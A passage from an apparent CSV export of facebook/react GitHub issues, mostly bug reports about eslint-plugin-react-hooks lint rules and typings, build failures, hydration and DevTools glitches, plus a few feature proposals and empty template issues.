> `NPM` is [planning to deprecate legacy tokens](https://github.blog/security/supply-chain-security/our-plan-for-a-more-secure-npm-supply-chain/#h-npm-s-roadmap-for-hardening-package-publication) and make trusted publishing the preferred method.
> 
> If assistance is welcome, please let me know and I can assist and/or get 
> further assistance as needed.
>
> ## Reference
> References:
> 
> * [NPM trusted publishing documentation](https://docs.npmjs.com/trusted-publishers)
> * [Announcement blog post](https://github.blog/changelog/2025-07-31-npm-trusted-publishing-with-oidc-is-generally-available/)
> * [Provenance statements guide](https://docs.npmjs.com/generating-provenance-statements)
> ","Status: Unconfirmed,Resolution: Stale",2025-10-22T01:37:02Z,2026-01-27T06:09:36Z,3
facebook/react,3537490573,Bug: Unable to run `yarn build` on the newest main,"## Steps To Reproduce

1. Clone React repo or clean the repo with `git clean -fdx`
2. Run `yarn` and `yarn build`

## The current behavior

I'm getting an error while building `eslint-plugin-react-hooks.development.js`:
```
 BUILDING  jest-react.production.js (node_prod)
 COMPLETE  jest-react.production.js (node_prod)

Running: mkdir -p ./compiler/packages/babel-plugin-react-compiler/dist && echo ""module.exports = require('../src/index.ts');"" > ./compiler/packages/babel-plugin-react-compiler/dist/index.js
 BUILDING  eslint-plugin-react-hooks.development.js (node_dev)

@rollup/plugin-typescript TS7016: Could not find a declaration file for module '@babel/code-frame'. '/Users/blazejkustra/Documents/react/node_modules/@babel/code-frame/lib/index.js' implicitly has an 'any' type.
  Try `npm i --save-dev @types/babel__code-frame` if it exists or add a new declaration (.d.ts) file containing `declare module '@babel/code-frame';`

error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.
```

## The expected behavior

Successful build 
","Status: Unconfirmed,Resolution: Stale",2025-10-21T17:21:26Z,2026-03-20T14:19:40Z,6
facebook/react,3533909402,Signal & Observable [Updated],"## Initial Proposal

There is huge discussion about Signals and Observables, Solid.js is built upon Signals, highly popular library like `react-use` has `useObservable` util hook.

""Recently"", a [Signals proposal](https://github.com/tc39/proposal-signals) appeared and quickly drew attention.

[_-> Keep reading_](https://github.com/facebook/react/issues/30570)

---

Now [observables are shipped](https://github.com/WICG/observable) into browsers officially and I introduce a new update to my earlier proposal.

## Use cases

The main use-case of introducing signals to React is keeping Component updates **Isolated**, which React Team (IMHO) hasn't been able to achieve so far.

We know [React Context](https://react.dev/learn/passing-data-deeply-with-context), which is great actually, but it forces all the children of the context provider to reconcile.

What people trying to achieve with [Redux](https://redux.js.org/), [Jotai Atoms](https://jotai.org/) and etc. is essentially the same thing - have a ""source"" (provider) and ""sink"" (consumer) independent.

""Independent/Isolated"" means
- The ""atom"" doesn't need to be declared as Down Tree Component context, you can set/get it any component.
- You can access the state out of React Component.

**Abstract Example** (from my previous issue)

```tsx
import { use } from ""react""
import { searchSignal } from ""@/signals""

function Images() {
        // Only components that use this signal are updated.
	const search = use(searchSignal)

	return ... [TRUNCATED]",,2025-10-20T20:54:08Z,2026-02-10T21:47:31Z,10
facebook/react,3530551867,[Compiler: suggestion] Use const for strings,"Hi colleagues!

I look at my minified code processed by react-compiler and see that it is not optimal - a lot of identical string literals are used in the code and because of this, the code is not minimal at all.

for example:
```js
...
t[0] === Symbol.for(`react.memo_cache_sentinel`)
...
t[1] === Symbol.for(`react.memo_cache_sentinel`)
...
```

Could you use constants instead of string literals?  it would save a lot of resources!

```js
const s = `react.memo_cache_sentinel`;
...
t[0] === Symbol.for(s)
...
t[1] === Symbol.for(s)
...","Status: Unconfirmed,Resolution: Stale",2025-10-19T23:21:33Z,2026-02-17T22:07:21Z,9
facebook/react,3523355106,Bug: Flow definitions are missing for React 19,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19

## Steps To Reproduce

1. Use flow-typed
2. Get Flow definitions

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

https://github.com/flow-typed/flow-typed/tree/main/definitions/npm/react-dom_v18.x.x

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

only 18 is available

## The expected behavior

https://github.com/flow-typed/flow-typed/tree/main/definitions/npm/react-dom_v19.x.x

should exist","Status: Unconfirmed,Resolution: Stale",2025-10-16T20:06:24Z,2026-03-23T12:20:22Z,4
facebook/react,3519168023,[Compiler Todo]: function hoisting within jsx,"React version: 19.2.0
eslint-plugin-react-hooks: 7.0.0

## Steps To Reproduce

```ts
function App() {
  function CreatedAtRender1() {
    return (
      <div>
        {/* Comment below to make it show error */}
        <CreatedAtRender2 />
      </div>
    );
  }

  function CreatedAtRender2() {
    return <div>M</div>;
  }

  return (
    <div>
      <CreatedAtRender1 />
    </div>
  );
}
```

1. Run `npm run lint`
2. No errors reported (Ignore the one tsconfig issue)
3. Comment out `<CreatedAtRender2 />` 
4. Run `npm run lint`
5. the error will show as expected when linting.


Link to code example: https://stackblitz.com/edit/vitejs-vite-vuqvgbnf?file=src%2FApp.tsx&view=editor

## The current behavior
If two components are nested, the plugin thinks it is not created during render.

## The expected behavior
Flags for at least one error.","Component: React Compiler,Resolution: Stale,Compiler: todo",2025-10-15T18:41:39Z,2026-01-21T00:27:16Z,3
facebook/react,3519078491,Bug: eslint-plugin-react-hooks not flagging hook used as value,"In my app a zustand store is exported. These stores act as a hook, or have .getState/.setState on them. In some place I ended up using it as a value.

I only added the hooks plugin as the release notes say: `If you have already installed eslint-plugin-react-compiler, you can now remove it and use eslint-plugin-react-hooks@latest`

However, the plugin-react-compiler is catching this error that the hooks plugin is not. Resulting in the file silently failing to be optimized.

React version: 19.2.0
eslint-plugin-react-hooks: 7.0.0

## Steps To Reproduce

1. Use eslint-plugin-react-hooks
2. Use a hook as a value (e.g. console.log it)
3. In the repro, run npm run lint. You can see the compiler plugin erroring while the react-hooks plugin does not.

Link to code example: https://stackblitz.com/edit/vitejs-vite-asgtyazp?file=src%2FApp.tsx&view=editor


## The current behavior
The compiler will skip the offending component silently.

## The expected behavior
Eslint rule warns/errors as it does on the playground.","Status: Unconfirmed,Resolution: Stale",2025-10-15T18:12:28Z,2026-01-22T10:08:28Z,3
facebook/react,3516710982,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-10-15T07:22:38Z,2025-10-15T08:23:10Z,0
facebook/react,3516710506,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-10-15T07:22:34Z,2025-10-15T08:23:05Z,0
facebook/react,3515237993,Bug: eslint-plugin-react-hooks@7.0.0 default export type is wrong when used in a module,"When package.json has `""type"": ""module""` and tsconfig.json has `""module"": ""nodenext""`, typescript thinks that `reactHooks.configs` is undefined.

## Steps To Reproduce

package.json:
```
{
	""type"": ""module"",
	""dependencies"": {
		""eslint-plugin-react-hooks"": ""^7.0.0"",
		""typescript"": ""^5.9.3""
	}
}
```

tsconfig.json:
```
{
	""compilerOptions"": {
		""module"": ""nodenext"",
	}
}
```

index.ts:
```
import reactHooks from ""eslint-plugin-react-hooks"";

console.log(reactHooks.default); // ts thinks this is a real field, but it's not
console.log(reactHooks.configs); // ts thinks this isn't a real field, but it is
```

The error is:
```
Property 'configs' does not exist on type 'typeof import(""<path_to_repo>/node_modules/eslint-plugin-react-hooks/index"")'.
```

I don't really understand what's going on here, but the types worked fine with my project in `5.2.0` - I didn't try any `6.x` versions. The types are fine if either of the settings in `package.json` or `tsconfig.json` are removed, and TS is able to resolve a more concrete type than the strange `typeof import` thing that shows up here.

Link to code example:
https://github.com/skondrashov/borked-react-hooks-type
`git clone https://github.com/skondrashov/borked-react-hooks-type; cd borked-react-hooks-type; npm i; npx tsc`

## The current behavior
Error trying to access `reactHooks.configs`, no error trying to access `reactHooks.default`.

## The expected behavior
No error trying to access `reactHooks.configs`, error trying to access ... [TRUNCATED]",Status: Unconfirmed,2025-10-14T19:44:31Z,2025-10-30T16:34:14Z,3
facebook/react,3512507874,Bug: `react-dom-client.development.js` tries to read `$$typeof` on iframe object,"In `ReactFiberPerformanceTrack` it tries to deep read the props in DEV mode, `props` may deeply contains `cross-origin frame`
which will cause `SecurityError: Failed to read a named property '$$typeof' from 'Window': Blocked a frame with origin ""http://localhost:8080/"" from accessing a cross-origin frame.`

React version: 19.2.0 (I believe the change is introduced in #30967)

## Steps To Reproduce
there are three factors caused this problem
1. deep in props there is a reference to host `window` or `document` object
2. google reCAPTCHA is in use. it mounts a iframe and inject the iframe reference to `document`
<img width=""1265"" height=""752"" alt=""Image"" src=""https://github.com/user-attachments/assets/35925e7e-5e83-48e0-9328-fffa7c266360"" />
3. react 19.2.0 tries to recursively read props object and access `.$$typeof`

## The current behavior
Throwing error

## The expected behavior
Not to throw error",Status: Unconfirmed,2025-10-14T06:12:50Z,2026-02-03T16:53:47Z,7
facebook/react,3511078611,Bug: Template HTML element causes hydration issue,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

When using server-side rendering, the template HTML seems to throw a hydration error. Not sure if it's related to how the browser processes template elements or how React is correcting the dom. I have tested this with Astro and Nextjs and have had the same error. The Template element is part of the HTML spec and should work https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template 

Use case might be for shareable web components used in React. 

<img width=""1383"" height=""404"" alt=""Image"" src=""https://github.com/user-attachments/assets/b7c07bf5-1454-4ab5-baae-aee0fee767cb"" />

React version: React 19.1, 19.2

## Steps To Reproduce

1. Have a component which includes template element with elements inside. 
2. Render it server side and wait for hydration error should be triggered

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

```Template.tsx
'use client';
export function Template() {
	return <template>hello</template>;
}
```

```Page.tsx 
export default function Home() {
	return (
		<main>
			<section className='container mx-auto gri... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-13T18:34:59Z,2026-01-22T05:12:09Z,5
facebook/react,3510949390,Bug: ESLint rules flag Date.now as an inpure function in a server component,"I expect that the the eslint-plugin-react-hooks don't apply to server components. 

React version: 19.2

## Steps To Reproduce

1. Introduce an inpure function in a server side component. E.g. the layout in a nextjs app
2. Run eslint with eslint-plugin-react-hooks@7 
3.  Notice error

```
`Date.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).

~/src/inpure-demo/src/app/layout.tsx:25:15
  23 |   children: React.ReactNode;
  24 | }>) {
> 25 |   const now = Date.now();
     |               ^^^^^^^^^^ Cannot call impure function
  26 |   console.log(""Rendering RootLayout at"", now);
  27 |
  28 |   return (  react-hooks/purity
```
Link to code example:

https://github.com/paulvanbrenk/inpure-error-nextjs

## The current behavior

Error about the inpure function in a server component

## The expected behavior

No error","Status: Unconfirmed,Resolution: Stale",2025-10-13T17:50:47Z,2026-05-06T09:51:33Z,7
facebook/react,3508228962,Bug: react-hooks/immutability wrong detect bug,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1. const name is useTestHooks
2. Set inside useMemo


Link to code example:
(https://playground.react.dev/#N4Igzg9grgTgxgUxALhAcimBACOAbASwQDsAXNAHWKoIFsAHCGU7YKi0zBAYQEM88AI15wA1gBpsXALIJaEKgF9sAMxgRa2CiBgIRpbe2JwIxMCy4AVBOYASECKLDYAvNgAUASlcA+Vu1ITMxYAE15SXlcpLFl5dy9fDzZibFTsUgQAD1JkbAADPKpUxU9JAG0AXU8jDiDzdJtSADEoYyiuPgFhMXjvFz9kjiGDUjCIgDoAN34oHBcA4eHpvFnx3Xo8EQR3BZHF0gB6MoBBAFoALwqDgHM6cV39jgKHvdJq6lfFe4-hspeOMa8F4VXbvAK6TgwFKDEbLAhjBABRRKIxZRjMbAhBAqXhQPAWLDWOwOJxUEDiEBBFQEa4oEB0dEsUgAT3oOGA2AACitbsQAPL0UgEUzOZRqDTYNDCQQIPCnDZQXmnXT6U4mBgEPAIGAHEIEcxoADcRncyVSBwO6vomvCwuI0ggWNy2n4eEMxGUYFtYGpNi5PII-MFdrAnkN5PAAAsIAB3ACSZG1xH4YBQOLwWEUQA)

## The current behavior

<img width=""866"" height=""320"" alt=""Image"" src=""https://github.com/user-attachments/assets/f9628aa4-ae60-4bed-8c58-c588b7b0870e"" />

## The expected behavior

An ESLint error occurs when the constant name contains “use”, but it works fine when “use” is not included in the name.
","Type: Question,Component: React Compiler",2025-10-13T02:12:41Z,2025-10-14T17:17:00Z,3
facebook/react,3506963807,Bug: Stale closures with `useEffectEvent`,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2

## Steps To Reproduce

1. Open [the reduced test case](https://stackblitz.com/edit/github-utjrgufd?file=app%2Froot.tsx) and view the console
2. Click the ""Home"" link (this causes `navigationType` to change to `REPLACE`)

```tsx
function App() {
  const navigationType = useNavigationType();
  // ✅ This is REPLACE after clicking the link.
  console.log('render', navigationType);

  const fn = useEffectEvent(() => {
    // ❌ But this is always POP. It's not seeing the latest value!
    console.log('effect event', navigationType);
  });
  useEffect(() => {
    setInterval(() => {
      fn();
    }, 3000);
  }, []);

  return (
    <>
      <Link to=""/"">Home</Link>
      <Outlet />
    </>
  );
}

// 🤷‍♂️ Removing `memo` here fixes the problem.
export default memo(App);
```



Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

https://stackblitz.com/edit/github-utjrgufd?file=app%2Froot.tsx

## The curr... [TRUNCATED]","Type: Bug,Component: Reconciler",2025-10-12T10:55:35Z,2025-10-13T15:58:44Z,3
facebook/react,3503617768,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-10-10T16:22:21Z,2025-10-15T21:11:21Z,1
facebook/react,3503007799,Bug: eslint-plugin-react-hooks has wrong d.ts after upgrade from 5 to 6/7,"React version:

## Steps To Reproduce

1. Use `module: nodenext` in TypeScript config
2. create `eslint.config.ts` with using `eslint-plugin-react-hooks`
3. See TypeScript errors about default field in 

<img width=""1042"" height=""230"" alt=""Image"" src=""https://github.com/user-attachments/assets/d6de78a0-3aaf-4956-86f4-c86ec8083b14"" />

Link to code example:

Not provided

## The current behavior

Errors in TypeScript

## The expected behavior

Suitable declaration files
",Status: Unconfirmed,2025-10-10T13:44:20Z,2025-10-24T16:58:03Z,26
facebook/react,3499389513,[Compiler Bug]: Improve readability of `react-hooks/immutability` log message,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wApg+OmQC2CfAF8AlPmAAdNvgBKCMowB0UMAgCiJEgkb9+sgLwA+OfkX47+AOYI6CGGVwIAqjpgARd2Sq2HimtlIANPgA2gC60oq2cKxgBE4ubh7erv64gQjBBGb4-GF22q4ACjAQJEyUCGDIcqX2TIRNdFCiAEauANwtZT4i4k0pMEx0DgNK9vhMYNyMTABuCE3dEBD1ZHQzc3ZgSTDrwl29MPsHxJhkeOJ0uGO4E1NXdpKx4S2ikwDKxwQABUABYnMAg7btM49VxhcxWBSzfBJOgpeZgLIwXSUJgOJjder4Ir8cowJpCBZLZhrDZbHZ7fBHHCnTqwmBSBHNZF2E64WBsMkaKnLNb4ABk4vwQuZJ3wFiKvzoAJZoPBkMohHeUhmLVR6IQuPxhK8PjAxOlPiqNTqDQ0tWorn4CyxOLxBPq0l1yKYJGKhvdJqxYA09SmuBBxLMRQADLIkQd8HyBdzE3ZcBBcpQ3cb6sGmjHvjz7GQ1m4nCqTgWi2nLa4wAAhTi+fJ3XAPJ5ySQ1tMgvEghq4SuTBxYjpUSg9uaSbWSBLI-UEDNZysSIoB3Om+saE6EKCIExgLqRMlco+ifAAajrMA0soQkTj2sX+FLrjIFcBFuXZEoq-wAD0+Abh6W4wCGYYOBG3pzC+ZKNs2rb3M4hTAUaoHBjuCB7ogxSDMU6hwCePhcgmaa+sUACEhFREKNxth2cSprWr5wHAtE+Bo9HIY8MQWrE2rTvhdg0XRSHtihMQaJg2ggqSnFkiMCBesJSYIPyMBsIRgkRPhwDdvC86wckBB9g4A4pMOUxYhaIFBmaWE4QgJhmRZuCRHAsAnI8pH4cmmkol5KF3l+ViuYOIUsvgAD8gUwN5BBNOFKSzpEdl5maUQxnEMH2P5bBkXMP7Zuh9n1k06VgRBzhQSCU4lmWH4IKuTS3OBCAAGKUBA7j8G+5bNYCGgZh1TDoNh-AAEzSNI9VDPWTYtm1EmPHN... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-10-09T14:18:08Z,2025-10-23T18:30:54Z,3
facebook/react,3499026277,Bug: `react-hooks/rules-of-hooks` does not error when `useEffectEvent` is passed down when inlined in a prop,"`eslint-plugin-react-hooks` is not detecting a `useEffectEvent` usage violation when it is used inline (i.e. not reassigned to a variable).

React version: `19.2.0`
`eslint-plugin-react-hooks` version: `7.0.0`

## Steps To Reproduce

Code example:

```jsx
import { useEffectEvent } from ""react"";

function App() {
  // ❌ should throw error. Effect event can't be passed down.
  return <Component cb={useEffectEvent(() => {})} />;
}

function Component() {
  return <></>;
}
```

## The current behavior

Linter gives no error.

## The expected behavior

Linter gives an error disallowing `useEffectEvent` callback from being passed down.",Status: Unconfirmed,2025-10-09T12:46:10Z,2025-10-16T18:18:03Z,0
facebook/react,3498436219,Bug: “Display density” field appears twice in React Developer Tools settings,"<img width=""469"" height=""275"" alt=""Image"" src=""https://github.com/user-attachments/assets/476fb9e9-b8b0-47db-9943-8ca253826e67"" />

DevTools version: [7.0.0-3b2a398106](https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md#700)

## Steps To Reproduce

1. Open React Developer Tools in your browser.

2. Go to the General settings tab.

The associated PR : [Anatole-Godard:pr34791](https://github.com/facebook/react/pull/34792)",Status: Unconfirmed,2025-10-09T09:50:24Z,2025-10-09T17:38:25Z,0
facebook/react,3498393796,Bug: “Display density” field appears twice in React Developer Tools settings,"<img width=""469"" height=""275"" alt=""Image"" src=""https://github.com/user-attachments/assets/476fb9e9-b8b0-47db-9943-8ca253826e67"" />

DevTools version: [7.0.0-3b2a398106](https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md#700)

## Steps To Reproduce

1. Open React Developer Tools in your browser.

2. Go to the General settings tab.",Status: Unconfirmed,2025-10-09T09:38:43Z,2025-10-09T09:48:49Z,0
facebook/react,3497878830,Bug: eslint-plugin-react-hooks@7.0.0 Type 'ReactHooksFlatConfig | undefined' is not assignable to type 'InfiniteArray<ConfigWithExtends>',"The recommended way to configure for flat config in eslint-plugin-react-hooks@7.0.0 isn't correctly typed with TypeScript and enabled `noUncheckedIndexedAccess` flag:

```ts
import reactHooks from 'eslint-plugin-react-hooks';
import { defineConfig } from 'eslint/config';

export default defineConfig([
  reactHooks.configs.flat.recommended,
]);
```

Either disabling `noUncheckedIndexedAccess` or non-null asserting the value with `!` works.

## Steps To Reproduce

1. Clone `https://github.com/ulrichstark/eslint-plugin-react-hooks-type-repro`
2. Run `npm install`
3. Run `npx tsc`

## The current behavior

```
eslint.config.ts:4:30 - error TS2322: Type 'ReactHooksFlatConfig | undefined' is not assignable to type 'InfiniteArray<ConfigWithExtends>'.
  Type 'undefined' is not assignable to type 'InfiniteArray<ConfigWithExtends>'.

4 export default defineConfig([reactHooks.configs.flat.recommended]);
                               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Found 1 error in eslint.config.ts:4
```

## The expected behavior

No TypeScript error.",Status: Unconfirmed,2025-10-09T06:57:18Z,2025-10-27T07:37:32Z,2
facebook/react,3497287903,Bug: Activity undefined,"When using Activity, throw error:
```
Element type is invalid: expected a string (for built-in components) or a class/function (for composite components) but got: undefined. You likely forgot to export your component from the file it's defined in, or you might have mixed up default and named imports.
```
Console log Acitivity, the value is undefined.

React version:
19.2.0 (React.version = 19.2.0-canary-0bdb9206-20250818)

Next.js version:
15.5.2

## Steps To Reproduce
""use client""

import { Activity} from ""react"";

<Activity ....>
",Status: Unconfirmed,2025-10-09T00:56:11Z,2025-10-13T07:35:57Z,11
facebook/react,3497110492,Bug: Esta es mi primer pregunta,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-10-08T22:51:24Z,2025-10-09T15:38:16Z,0
facebook/react,3496545337,"Bug: lint/react-compiler incorrectly reporting ""ref accessed in render"" inside map returning components","The linter is incorrectly reporting a warning about accessing a ref.current value in render when a callback function that uses ref.current is passed as a prop to a component inside a .map function. If the .map function is removed the linter warning disappears, meaning that being inside the .map confuses the linter and makes it think that the ref.current value is accessed

## Steps To Reproduce

1. Run linter with this code

```
import {useRef} from 'react';

export component Parent() {
  const someRef = useRef(false);
  const callback = () => {
    if (someRef.current) {
      // do some thing
    }
  };
  const items = [1, 2];
  return (
    <>
      {items.map(_ => (
        <Child callback={callback} />
      ))}
    </>
  );
}

component Child(callback: () => void) {
  return <div onClick={callback} />;
}
```

2. See warning reported even though ref.current is never accessed on render

<img width=""535"" height=""142"" alt=""Image"" src=""https://github.com/user-attachments/assets/16344a12-3bc0-475c-a8f6-1b0c8c9caa26"" />

3. If you remove the `.map` section of the code the warning goes away

## The current behavior

Linter shows a warning

## The expected behavior

Linter should not show a warning","Status: Unconfirmed,Component: React Compiler",2025-10-08T18:57:58Z,2025-10-15T05:31:37Z,2
facebook/react,3496391015,Bug: eprh README eslint.config.js examples cause parsing errors,"The sample eslint.config.js in the [eprh readme](https://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/README.md#flat-config-eslintconfigjsts) doesn't work out of the box. It errors with 
```
Parsing error: Unexpected token ...
```
either due to not recognising jsx syntax (in a js project) or not recognising typescript syntax (ts project)


I realise that providing a fully functional eslint setup is outside the scope of react, and much will depend on framework/bundler. But I think having an absolutely minimal example which works if you copy-paste would be helpful, both for people not yet using eslint who want to start using the linter, and also for folks having problems updating to the latest version.

eslint-plugin-react-hooks version: 6.1.1 
**_update_**: version 7.0.0 also has a problem, see comment below

## Steps To Reproduce

1. clone repros / open sandboxes
2. try running `npm run lint`


Link to code example:


- js: https://github.com/mdj-uk/vite-react-no-ts ([sandbox](https://codesandbox.io/p/github/mdj-uk/vite-react-no-ts/main?file=%2Feslint.config.js&import=true&workspaceId=ws_NWeM56rFTtP8bj8JxvwSss))
- ts: https://github.com/mdj-uk/vite-react-ts ([sandbox](https://codesandbox.io/p/github/mdj-uk/vite-react-ts/main?file=%2Feslint.config.js&import=true&workspaceId=ws_NWeM56rFTtP8bj8JxvwSss))

## The current behavior
Parsing error when trying to lint

## The expected behavior
Linting should work if you copy-paste example configs from readme","Status: Unconfirmed,Resolution: Stale",2025-10-08T18:05:56Z,2026-01-14T13:18:39Z,3
facebook/react,3495887575,Bug:  React Dev Playground | Shows Application error: a client-side exception has occurred while loading playground.react.dev,"### **Bug Report**

**React version:**  
`React 19.0.0 (playground.react.dev - latest build as of October 2025)`

---

### **Steps To Reproduce**
1. Open [React Playground](https://playground.react.dev).  
2. Observe that the page crashes with a **client-side exception**. (Screenshot attached)


**Note: I have disabled all the chrome extensions so that any other client side extension are not interfering still the issue persists. (Attaching screenshots).**

**Chrome version: Version 128.0.6613.85 (Official Build) (64-bit)**
---

### **Link to code example**
Not required — this issue occurs **even with an empty playground** or default example (no user code modification).


Console error:
`2718.2ef44c120f1f0fb2.js:1 Uncaught TypeError: Cannot read properties of undefined (reading 'code')
    at R (2718.2ef44c120f1f0fb2.js:1:2240553)
    at 2718.2ef44c120f1f0fb2.js:1:2242468
    at V (2718.2ef44c120f1f0fb2.js:1:2242518)
    at aO (f5e865f6-c532ae16ddb2f8e0.js:1:54636)
    at il (f5e865f6-c532ae16ddb2f8e0.js:1:75762)
    at iS (f5e865f6-c532ae16ddb2f8e0.js:1:87054)
    at sI (f5e865f6-c532ae16ddb2f8e0.js:1:128665)
    at f5e865f6-c532ae16ddb2f8e0.js:1:124455
    at sE (f5e865f6-c532ae16ddb2f8e0.js:1:124556)
    at ca (f5e865f6-c532ae16ddb2f8e0.js:1:157236)
    at MessagePort.S (2970-8a45648598c363f4.js:1:128748)`


---

### **The current behavior**
- The playground fails to render and shows:  
  **“Application error: a client-side exception has occurred while loading playground.re... [TRUNCATED]",Status: Unconfirmed,2025-10-08T15:18:32Z,2025-10-13T10:04:22Z,2
facebook/react,3495840138,Bug: eslint-react-hooks false positives on immutability rule,"I have a function definition inside my react component:

```
  const go = () => {
    if (isHashLink) {
      scrollToHash(props.to);
      window.location.hash = props.to;
    } else {
      navigate(props.to);
    }
  };
```

the immutability rule is triggered:

```
Error: This value cannot be modified

Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.

/Users/marcos/Documents/GitHub/bombtimer.dev/client/components/utils/Router.tsx:184:7
  182 |     if (isHashLink) {
  183 |       scrollToHash(props.to);
> 184 |       window.location.hash = props.to;
      |       ^^^^^^^^^^^^^^^ value cannot be modified
  185 |     } else {
  186 |       navigate(props.to);
  187 |     }eslint(react-hooks/immutability)
```

although the function is meant to be called in an event handler, which is good practice according to react docs.",Status: Unconfirmed,2025-10-08T15:05:46Z,2025-10-09T13:42:25Z,2
facebook/react,3495665705,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 18.2.0

## Steps To Reproduce

1. implement renderToPipeableStream with a fastify server
2. stream never starts with pipe(reply.raw) inside onShellReady
3.  works if we add reply.raw.write('') before calling renderToPipeableStream

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
stream never starts with pipe(reply.raw) inside onShellReady


## The expected behavior
stream to start with pipe(reply.raw) inside onShellReady without adding reply.raw.write('')
","Status: Unconfirmed,Resolution: Stale",2025-10-08T14:22:31Z,2026-01-13T15:08:04Z,2
facebook/react,3494954679,[Compiler Bug]: Please make a new release above 19.1.0.,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
